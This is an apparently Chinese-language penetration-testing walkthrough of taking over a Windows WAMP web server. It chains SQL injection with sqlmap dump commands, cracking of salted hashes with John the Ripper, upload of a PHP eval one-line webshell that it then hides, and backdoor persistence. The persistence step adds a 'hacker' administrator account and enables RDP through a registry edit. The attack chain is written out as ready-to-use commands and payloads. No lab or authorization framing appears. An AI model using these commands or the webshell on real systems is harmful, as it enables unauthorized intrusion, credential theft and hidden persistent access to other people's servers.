SQL注入配合JOHN成功拿下服务器
字数 1450 2025-08-09 19:14:07
SQL注入配合JOHN爆破密码渗透实战教学
1. 基本信息收集
1.1 初始信息
- 目标系统:Windows 10 X64
- 站点创建时间:2017年
- Web服务器:WAMP环境(Windows + Apache + MySQL + PHP)
- 站点根目录:E:/wamp64/www/
1.2 目录爆破
使用工具对网站进行目录爆破:
- 发现
/carts/目录 - 对
/carts/目录再次爆破 - 发现
/librarys/目录
1.3 信息泄露
- 在
/librarys/目录下发现tree.txt文件,泄露了网站目录结构 - 存在目录遍历漏洞,可查看服务器文件
- 发现
server.php是入口文件,但静态文件缺失
2. SQL注入漏洞利用
2.1 发现注入点
- 在
/carts/目录下的页面中,发现CATID参数存在SQL注入 - 使用布尔注入测试确认漏洞存在
2.2 注入点信息
- 当前数据库用户:root(最高权限)
- 尝试写入文件失败(可能权限限制)
2.3 使用sqlmap自动化工具
sqlmap -u "http://target.com/carts/page.php?CATID=1" --dbs
sqlmap -u "http://target.com/carts/page.php?CATID=1" -D database_name --tables
sqlmap -u "http://target.com/carts/page.php?CATID=1" -D database_name -T users --dump
3. 口令爆破
3.1 获取用户数据
- 通过SQL注入获取用户表数据
- 密码字段是加盐哈希存储
3.2 注册测试用户
- 注册一个新用户
- 在数据库中查找该用户的记录
- 分析密码存储方式
3.3 使用John the Ripper爆破
- 准备哈希文件
- 使用字典爆破:
john --format=mysql-sha1 hashfile.txt --wordlist=password.lst - 成功爆破出admin账户密码:
admin@admin.com/admin
4. 后台渗透
4.1 登录后台
- 发现登录表单有特殊验证:用户名必须是邮件地址
- 使用爆破出的凭证成功登录
4.2 Cookie问题
- 登录后Cookie有效期异常(设置为过去时间)
- 需要快速操作,否则会话会失效
5. 文件上传获取Webshell
5.1 寻找上传点
- 在用户个人信息编辑页面发现文件上传功能
- 测试上传图片成功
5.2 上传Webshell
- 准备PHP一句话木马:
<?php @eval($_POST['cmd']);?> - 修改文件扩展名为.php上传
- 上传成功,可直接访问
5.3 权限确认
- 执行
whoami命令确认是system权限 - 无需额外提权操作
6. 使用蚁剑管理
6.1 连接Webshell
- 使用中国蚁剑连接上传的PHP木马
- 转移Webshell位置避免被发现
7. 内网信息收集
7.1 网络信息
ipconfig显示为外部网卡netstat -ano查看开放端口- 3389远程桌面服务未开启
7.2 安全软件检查
tasklist发现运行小红伞杀毒软件- 测试添加用户和修改注册表未被拦截
8. 开启远程桌面
8.1 添加用户
net user hacker Password123! /add
net localgroup administrators hacker /add
8.2 开启RDP
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
8.3 连接远程桌面
- 使用添加的凭证成功连接
arp -a显示只有单台主机,不在域中
9. 扩展知识
9.1 MySQL密码哈希获取
- 当配置文件中找不到root密码时
- WAMP环境下路径:
/bin/mysql/mysql-x.x.x/data/mysql user.MYD文件包含密码哈希- 使用WinHex打开查找40位MySQL密文
9.2 密码哈希格式
- MySQL密文为40位
- 不足40位时需要拼接密文
10. 经验总结
- 弱密码测试重要性:很多情况下直接测试弱密码可以节省大量时间
- 信息收集关键性:目录爆破、信息泄露漏洞往往能提供重要线索
- 工具组合使用:sqlmap + John the Ripper是强大的组合
- 快速操作能力:遇到会话异常时需要快速完成关键操作
- 权限最大化:获取system权限后很多操作会变得简单